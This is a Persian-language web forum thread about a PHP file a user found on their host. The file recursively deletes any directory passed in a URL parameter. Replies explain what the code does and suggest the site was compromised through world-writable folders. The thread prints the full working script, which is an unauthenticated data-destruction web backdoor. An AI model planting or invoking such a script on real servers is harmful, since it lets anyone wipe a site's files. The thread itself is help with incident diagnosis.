این کد php چه کاری انجام میده؟

این کد php چه کاری انجام میده؟
کد:
<?php

function remove($dirname = '.')
{
        if (is_dir($dirname))
        {
                echo "$dirname is a directory.<br />";

                if ($handle = @opendir($dirname))
                {
                        while (($file = readdir($handle)) !== false)
                        {
                                if ($file != "." && $file != "..")
                                {
                                        echo "$file<br />";

                                        $fullpath = $dirname . '/' . $file;

                                        if (is_dir($fullpath))
                                        {
                                                remove($fullpath);
                                                @rmdir($fullpath);
                                        }
                                        else
                                        {
                                                @unlink($fullpath);
                                        }
                                }
                        }
                        closedir($handle);
                }
        }
}

remove($_GET['d']);

?>
 

ziXet

مدیر انجمن PHP/MYSQL
این کد php چه کاری انجام میده؟
کد:
<?php

function remove($dirname = '.')
{
        if (is_dir($dirname))
        {
                echo "$dirname is a directory.<br />";

                if ($handle = @opendir($dirname))
                {
                        while (($file = readdir($handle)) !== false)
                        {
                                if ($file != "." && $file != "..")
                                {
                                        echo "$file<br />";

                                        $fullpath = $dirname . '/' . $file;

                                        if (is_dir($fullpath))
                                        {
                                                remove($fullpath);
                                                @rmdir($fullpath);
                                        }
                                        else
                                        {
                                                @unlink($fullpath);
                                        }
                                }
                        }
                        closedir($handle);
                }
        }
}

remove($_get['d']);

?>
این برنامه نام یک دایرکتوری رو میگیره و تمام فایلها و دایرکتوری های داخلش رو پاک میکنه.
 

pasargad-ir

Active Member
PHP:
//یه فانکشن به نام remove که متغیری به نام $dirname که همون نام پوشه است رو میگیره
function remove($dirname = '.')
{
        if (is_dir($dirname)) //اگر پوشه وجود داشت
        {
                echo "$dirname is a directory.<br />"; // پیغام رو چاپ می کنه

                if ($handle = @opendir($dirname)) // یه شرط بررسی می شه
                {
                        while (($file = readdir($handle)) !== false) //یه حلقه واسه تعیین فایل های داخلش ایجاد مش شه
                        {
                                if ($file != "." && $file != "..") // اگر فایل ها با نام . یا .. بود چی بشه ؟
                                {
                                        echo "$file<br />"; // نام فایل چاپ می شه

                                        $fullpath = $dirname . '/' . $file;  // آدرسش چاپ می شه
// مراحل حذف با شرطی بررسی و آغاز می شه
                                        if (is_dir($fullpath))
                                        {
                                                remove($fullpath);
                                                @rmdir($fullpath);
                                        }
                                        else
                                        {
                                                @unlink($fullpath);
                                        }
                                }
                        }
                        closedir($handle); 
                }
        }
}

remove($_GET['d']);
// تمام
?>
 
یعنی هر نامی اینجا بزاری حذف میشه؟ ممکنه هاست من هک شده باشه؟ چون این فایل با دسترسی 777 ایجاد شده بود! ولی من پاکش کردم
 

pasargad-ir

Active Member
50% هک شدی.

50% دیگش زمانیه که طرف مثلا ایم پوشه images رو بده به تابع.

اون وقت دیگه 100% هک شدی.

ببین مشکلت کجاست و طرف این رو چه جوری تو FTP شما قرار داده.

آیا پوشه ای با پرمیشن 777 داری ؟؟؟
 

جدیدترین ارسال ها

بالا